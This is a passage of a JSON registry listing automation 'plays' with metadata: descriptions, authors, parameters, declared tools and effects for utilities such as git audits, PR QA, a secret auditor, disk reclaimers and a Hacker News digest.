plan.","owner":{"kind":"user","slug":"pooja-bhavani"},"registry_organization":"pooja-bhavani","tags":["git","pull-request","audit","code-review","markdown"],"primary_domain":"domain-uncategorized","author":"pooja-bhavani","version":"1.0.1","published_at":"2026-09-02T09:20:29.767246+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6824,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["parse_audit","run_auditor","collect_branch","collect_commits","collect_diffstat"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path to the git repository"},{"name":"target_branch","type":"string","required":false,"default":"origin/master","description":"Branch to compare against (e.g. origin/master, origin/main)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a82a9db7c7480faef461f6dbd0524f82a39bd12036ff24bf566bdebd5b882611","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"git","kind":"tool","source":"declared","count":3},{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/savarbhasin/github-pr-qa@0.0.1","reference":"savarbhasin/github-pr-qa@0.0.1","uri":"https://play.modiqo.ai/savarbhasin/github-pr-qa@0.0.1","manifest_uri":"https://play.modiqo.ai/savarbhasin/github-pr-qa@0.0.1","name":"github-pr-qa","title":"github-pr-qa","description":"Inspect a GitHub pull request, test its user-facing behavior through an accessible deployment or isolated local fallback, and return a PASS/FAIL browser QA report.","owner":{"kind":"user","slug":"savarbhasin"},"registry_organization":"savarbhasin","tags":["github","pull-request","qa","browser","frontend","local-fallback"],"primary_domain":"domain-uncategorized","author":"Savarbhasin446","version":"0.0.1","published_at":"2026-09-01T16:43:58.910756+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":6541,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"pr","type":"string","required":true,"description":"GitHub pull request URL, or owner/repository#number accepted by gh"},{"name":"deployment_url","type":"string","required":false,"description":"Optional deployment URL to try before URLs discovered from the PR"},{"name":"behavior_hint","type":"string","required":false,"description":"Optional extra text describing the flow to test"},{"name":"local_only","type":"boolean","required":false,"default":false,"description":"Skip deployment attempts and force the isolated local fallback"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6ceae898b5eeb4cb79a04ea361e5dfce904142dc887b967fe6d01ce642de3a82","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/praveen-sec/repo-leak-doctor@1.0.2","reference":"praveen-sec/repo-leak-doctor@1.0.2","uri":"https://play.modiqo.ai/praveen-sec/repo-leak-doctor@1.0.2","manifest_uri":"https://play.modiqo.ai/praveen-sec/repo-leak-doctor@1.0.2","name":"repo-leak-doctor","title":"repo-leak-doctor","description":"Zero-credential local git history and secret auditor for pre-push verification.","owner":{"kind":"org","slug":"praveen-sec"},"registry_organization":"praveen-sec","tags":["git","security","typescript"],"primary_domain":"domain-uncategorized","author":"praveen","version":"1.0.2","published_at":"2026-09-01T12:52:19.718422+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2071,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["status_check","history_check","tracked_files"]},"parameters":[{"name":"target_dir","type":"string","required":false,"default":".","description":"Path to local repository root"},{"name":"history_depth","type":"number","required":false,"default":30,"description":"Number of git commits to scan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:53a77aec311381a239635bb6ac18dc24eecc4adabfec49de650fb2ec2f6484e0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":3,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":3},{"name":"git","kind":"tool","source":"inferred","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/gitanshulbisht/docker-scrub@1.0.0","reference":"gitanshulbisht/docker-scrub@1.0.0","uri":"https://play.modiqo.ai/gitanshulbisht/docker-scrub@1.0.0","manifest_uri":"https://play.modiqo.ai/gitanshulbisht/docker-scrub@1.0.0","name":"docker-scrub","title":"docker-scrub","description":"Universal Docker disk bloat auditor and safe space reclaimer Play.","owner":{"kind":"user","slug":"gitanshulbisht"},"registry_organization":"gitanshulbisht","tags":[],"primary_domain":"domain-uncategorized","author":"gitanshulbisht","version":"1.0.0","published_at":"2026-09-01T09:15:54.249949+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":1264,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["scrub_docker"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2ca31b220b765a56a77e774564b9213d94431df29f4c94af5cc1f351ff6f8f45","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/gitanshulbisht/env-sync@1.0.0","reference":"gitanshulbisht/env-sync@1.0.0","uri":"https://play.modiqo.ai/gitanshulbisht/env-sync@1.0.0","manifest_uri":"https://play.modiqo.ai/gitanshulbisht/env-sync@1.0.0","name":"env-sync","title":"env-sync","description":"Deterministic .env drift auditor & auto-template sync play for polyglot codebases.","owner":{"kind":"user","slug":"gitanshulbisht"},"registry_organization":"gitanshulbisht","tags":[],"primary_domain":"domain-uncategorized","author":"gitanshulbisht","version":"1.0.0","published_at":"2026-09-01T09:15:42.890471+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":1275,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["audit_env"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:86742178ae6a1b187e27c8cd7d14545f733703946aecb3a0a83ae751d359e09a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/elijahumana/whats-holding-this-port@0.3.0","reference":"elijahumana/whats-holding-this-port@0.3.0","uri":"https://play.modiqo.ai/elijahumana/whats-holding-this-port@0.3.0","manifest_uri":"https://play.modiqo.ai/elijahumana/whats-holding-this-port@0.3.0","name":"whats-holding-this-port","title":"whats-holding-this-port","description":"Diagnoses whether a local TCP or UDP port is free, attributes observable owners, optionally probes the endpoint, and reports one evidence-backed verdict.","owner":{"kind":"user","slug":"elijahumana"},"registry_organization":"elijahumana","tags":["ports","diagnostics","processes","networking"],"primary_domain":"domain-uncategorized","author":"Elijah Umana","version":"0.3.0","published_at":"2026-08-31T15:38:10.351408+00:00","visibility":"public","quality_score":0.800000011920929,"size_bytes":22594,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["full","probe","owners","listeners"]},"parameters":[{"name":"port","type":"integer","required":true,"description":"Local port number from 1 through 65535."},{"name":"protocol","type":"string","required":false,"default":"tcp","description":"Socket protocol: tcp, udp, or both."},{"name":"address","type":"string","required":false,"default":"any","description":"Any local address, or one assigned numeric IPv4 or IPv6 address."},{"name":"probe","type":"string","required":false,"default":"none","description":"Bounded probe: none, tcp-connect, http-head, http-get, or tls-handshake."},{"name":"probe_timeout","type":"number","required":false,"default":1,"description":"Probe timeout in seconds, bounded from 0.05 through 10."},{"name":"command_timeout","type":"number","required":false,"default":3,"description":"Per-command observation timeout in seconds, bounded from 0.1 through 30."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:485b2f34400a5af3bd1864c434cfbdba64585f08c5ee4fa4557909b97c95e50d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohit-labs/dev-doctor@0.0.1","reference":"mohit-labs/dev-doctor@0.0.1","uri":"https://play.modiqo.ai/mohit-labs/dev-doctor@0.0.1","manifest_uri":"https://play.modiqo.ai/mohit-labs/dev-doctor@0.0.1","name":"dev-doctor","title":"dev-doctor","description":"Sub-second parallel system and dev environment auditor","owner":{"kind":"org","slug":"mohit-labs"},"registry_organization":"mohit-labs","tags":[],"primary_domain":"domain-uncategorized","author":"mohit-labs","version":"0.0.1","published_at":"2026-08-25T15:22:59.557834+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":1783,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":5,"names":["df","curl","node","uptime","python3"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:93d8bcdaea8f970aeabc5e13ef13e7d4880e2ae5fc67928474de99d9b96014e7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":5,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"df","kind":"tool","source":"declared","count":1},{"name":"node","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"uptime","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/philipp-comans/kuwahara-dither-image@0.1.0","reference":"philipp-comans/kuwahara-dither-image@0.1.0","uri":"https://play.modiqo.ai/philipp-comans/kuwahara-dither-image@0.1.0","manifest_uri":"https://play.modiqo.ai/philipp-comans/kuwahara-dither-image@0.1.0","name":"kuwahara-dither-image","title":"kuwahara-dither-image","description":"Applies Kuwahara-filter + ordered (Bayer) dithering to an image, following https://enochchau.com/blog/2022/kuwahara-dithering: downscale, Kuwahara filter, ordered dither + color quantization, nearest-neighbor upscale.","owner":{"kind":"user","slug":"philipp-comans"},"registry_organization":"philipp-comans","tags":["image","dithering","kuwahara","imagemagick","pixel-art"],"primary_domain":"domain-uncategorized","author":"philipp-comans","version":"0.1.0","published_at":"2026-08-19T18:22:38.474557+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":4622,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["ensure_venv","apply_kuwahara_dither"]},"parameters":[{"name":"input","type":"string","required":true,"description":"Source image URL or local path"},{"name":"output","type":"string","required":true,"description":"Output image path (PNG recommended)"},{"name":"downscale","type":"string","required":false,"default":"0.5","description":"Pre-filter downscale factor (blog default: 0.5 / -resize 50%)"},{"name":"upscale","type":"string","required":false,"default":"2.0","description":"Post-dither nearest-neighbor upscale factor (blog default: 2.0 / -resize 200%)"},{"name":"kuwahara_radius","type":"string","required":false,"default":"1","description":"Kuwahara filter quadrant radius (blog default: 1, i.e. -kuwahara 1)"},{"name":"dither_levels","type":"string","required":false,"default":"3","description":"Quantization levels per channel for ordered dithering (blog default: 3, i.e. -ordered-dither o8x8,3)"},{"name":"dither_matrix","type":"string","required":false,"default":"8","description":"Bayer ordered-dither matrix size (blog default: 8, i.e. o8x8)"},{"name":"colors","type":"string","required":false,"default":"8","description":"Final global color palette size (blog default: 8, i.e. -colors 8)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:471f7883c2597db85fe5fa1dd319c1cd290e408b2daba98ec3cf8b8e3e0a6c69","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"numpy","kind":"library","source":"inferred","count":1},{"name":"PIL","kind":"library","source":"inferred","count":1},{"name":"python","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"inferred","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/robpumpaf/hackernews-top-stories-local-digest@0.1.0","reference":"robpumpaf/hackernews-top-stories-local-digest@0.1.0","uri":"https://play.modiqo.ai/robpumpaf/hackernews-top-stories-local-digest@0.1.0","manifest_uri":"https://play.modiqo.ai/robpumpaf/hackernews-top-stories-local-digest@0.1.0","name":"hackernews-top-stories-local-digest","title":"hackernews-top-stories-local-digest","description":"Reads the Hacker News front page in a headless browser, fetches each top story's article with curl, and produces per-story summaries plus a themes-of-the-day synthesis using a local LM Studio model. Client-rendered pages are reported as unfetchable rather than guessed at.","owner":{"kind":"user","slug":"robpumpaf"},"registry_organization":"robpumpaf","tags":["typescript","lmstudio","browser","playwright"],"primary_domain":"domain-uncategorized","author":"Roberts Pumpurs","version":"0.1.0","published_at":"2026-08-12T20:28:59.26584+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":6455,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":6,"names":["settle","themes","open_page","summarize","story_links","fetch_articles"]},"parameters":[{"name":"limit","type":"integer","required":false,"default":5,"description":"How many top stories to digest. Counts only stories whose title links off-site."},{"name":"model","type":"string","required":false,"default":"google/gemma-4-12b","description":"LM Studio model id, as reported by GET /v1/models on the local server."},{"name":"max_chars","type":"integer","required":false,"default":4000,"description":"Per-article cap on extracted characters sent to the local model."},{"name":"hn_url","type":"string","required":false,"default":"https://news.ycombinator.com/","description":"Front page to read. Also accepts /best, /newest, or a /front?day=YYYY-MM-DD archive page."}],"execution":{"adapters":[{"id":"robpumpaf/lmstudio","name":"lmstudio","version":null,"credential_status":"none"},{"id":"lmstudio","name":"lmstudio","version":null,"credential_status":"none"}],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":["themes","summarize"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:925a5e09cb18b3e68f113a155f8d2eb1cb29ebbb9e1629332820f3a712e9a41d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":1,"browser":3,"auth":0,"other":0},"distinct_kinds":3,"depth":6,"width":1,"fan_out":1,"for_each_steps":1,"complexity":18,"apis":[{"adapter":"lmstudio","steps":2,"methods":["createChatCompletion"],"display_name":"lmstudio","host":"localhost:1234","kind":"rest","tools":2,"fingerprint":"mcp_2Xmj5v7hxDfD6Vx1Tx2kbMLfNLht","source":"robpumpaf/lmstudio","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"browser","kind":"tool","source":"declared","count":3},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":["themes","summarize"],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":2},"cost":{"api_tokens":56177,"context_tokens":18866,"exploration_ms":194537,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/sai0000/wsl-disk-reclaim@0.1.3","reference":"sai0000/wsl-disk-reclaim@0.1.3","uri":"https://play.modiqo.ai/sai0000/wsl-disk-reclaim@0.1.3","manifest_uri":"https://play.modiqo.ai/sai0000/wsl-disk-reclaim@0.1.3","name":"wsl-disk-reclaim","title":"wsl-disk-reclaim","description":"Answers one question on a WSL machine: why is the Windows drive full when the distro says it is not. A WSL2 distro lives in a virtual disk that grows on demand and never shrinks on its own, so deleting forty gigabytes inside leaves the file Windows sees exactly as large as it ever got. df, run inside, reports only the inside view, so the missing space is invisible from the one place people look. This reports both numbers and the gap, per image rather than in aggregate. That distinction is the point: Docker Desktop keeps a separate disk whose interior is not visible from inside the distro, so folding it into one total would invent tens of gigabytes of free space that are not free. It then measures the caches worth clearing, marks the ones that nest so a parent and its child are never counted twice, and lists a measurement that did not finish as not measured rather than as zero. The output ends in commands in the order that actually works, because compacting before freeing reclaims almost nothing, which is why people try it once and conclude the whole exercise is a myth. Read-only: it stats files and runs du, and every suggested command is printed for a person to run, never executed.","owner":{"kind":"user","slug":"sai0000"},"registry_organization":"sai0000","tags":["wsl","wsl2","domain-cross-platform","tool-shell","effect-read-only","disk","storage","vhdx","reclaim","audience-developers","domain-engineering","developer-tools","python","no-credentials","no-api-key","offline","local-only"],"primary_domain":"domain-cross-platform","author":"sai0000","version":"0.1.3","published_at":"2026-09-06T14:05:52.202583+00:00","visibility":"public","quality_score":1,"size_bytes":11897,"license":"MIT","stats":{"downloads":4,"installs":0},"steps":{"count":4,"names":["find_consumers","measure_images","render_reclaim","detect_platform"]},"parameters":[{"name":"format","type":"string","required":false,"default":"text","description":"text for the human briefing, json for a machine-readable report suitable for piping into other tooling.","values":["text","json"]},{"name":"threshold_mb","type":"string","required":false,"default":"512","description":"Smallest directory worth reporting, in megabytes. Everything is still measured; this only controls what is listed."},{"name":"extra_paths","type":"string","required":false,"default":"","description":"Comma-separated extra directories to measure, for example a node_modules tree or a dataset directory. No fixed list can know where those live on your machine."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6602b532ddf1f79c85ac95adef5f0a7b8d8495d3e0f24e61cc1a9565c25ccb77","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ankurrawat/stripe-webhook-signature-guard@4.15.26","reference":"ankurrawat/stripe-webhook-signature-guard@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/stripe-webhook-signature-guard@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/stripe-webhook-signature-guard@4.15.26","name":"stripe-webhook-signature-guard","title":"stripe-webhook-signature-guard","description":"Security & Governance Sentinel for stripe-webhook-signature-guard: Scans authorization tokens, inspects protocol payloads, checks CORS policies, and mitigates OWASP Top 10 vulnerabilities.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","stripe","webhook","signature","guard"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:38.462175+00:00","visibility":"public","quality_score":1,"size_bytes":514015,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_6_emit_security_advisory","step_4_evaluate_firewall_rules","step_parallel_fanout_execution","step_2_verify_vault_credentials","step_1_initialize_security_scanner","step_5_audit_compliance_benchmarks","step_3_execute_deep_vulnerability_scan"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:63170e7476b029d5a8c65bb7f74c037d334af46e0ad907ddbe88bc548e8afc1e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/rest-endpoint-conformance-tester@4.15.26","reference":"ankurrawat/rest-endpoint-conformance-tester@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/rest-endpoint-conformance-tester@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/rest-endpoint-conformance-tester@4.15.26","name":"rest-endpoint-conformance-tester","title":"rest-endpoint-conformance-tester","description":"Domain Analysis & Developer Utility for rest-endpoint-conformance-tester: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","rest","endpoint","conformance","tester"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:52:09.082784+00:00","visibility":"public","quality_score":1,"size_bytes":514582,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"linear","name":"linear","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4b47f47230fe317be5b087e6c9851626aabb9de2be9f7cedc5bd3714dc25036a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"linear","steps":1,"methods":["cycles/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/postman-api-schema-runner@4.15.26","reference":"ankurrawat/postman-api-schema-runner@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/postman-api-schema-runner@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/postman-api-schema-runner@4.15.26","name":"postman-api-schema-runner","title":"postman-api-schema-runner","description":"Domain Analysis & Developer Utility for postman-api-schema-runner: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","postman","api","schema","runner"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:51:24.82929+00:00","visibility":"public","quality_score":1,"size_bytes":514118,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"modiqo/stripe","name":"stripe","version":null,"credential_status":"none"},{"id":"stripe","name":"stripe","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bd989e32060c1d51f19075b26c2828952a4139bd19594a76862b823418ccf8ee","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"stripe","steps":1,"methods":["balance/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/stripe","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/playoff-leaderboard-scout@4.15.26","reference":"ankurrawat/playoff-leaderboard-scout@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/playoff-leaderboard-scout@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/playoff-leaderboard-scout@4.15.26","name":"playoff-leaderboard-scout","title":"playoff-leaderboard-scout","description":"Domain Analysis & Developer Utility for playoff-leaderboard-scout: Inspects code patterns, computes metrics, and automates routine development workflows.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","playoff","leaderboard","scout","developer-tools"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:50:52.465499+00:00","visibility":"public","quality_score":1,"size_bytes":514445,"license":null,"stats":{"downloads":4,"installs":0},"steps":{"count":8,"names":["step_api_ingress_probe","step_1_scan_codebase_ast","step_4_detect_anti_patterns","step_3_compute_domain_metrics","step_parallel_fanout_execution","step_6_emit_developer_scorecard","step_5_aggregate_diagnostic_data","step_2_verify_code_style_and_lint"]},"parameters":[],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1cfd65849aecd57459e1b13cb9526dfa22e479c04b66d36dc5b0ae36fdb49550","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":1,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"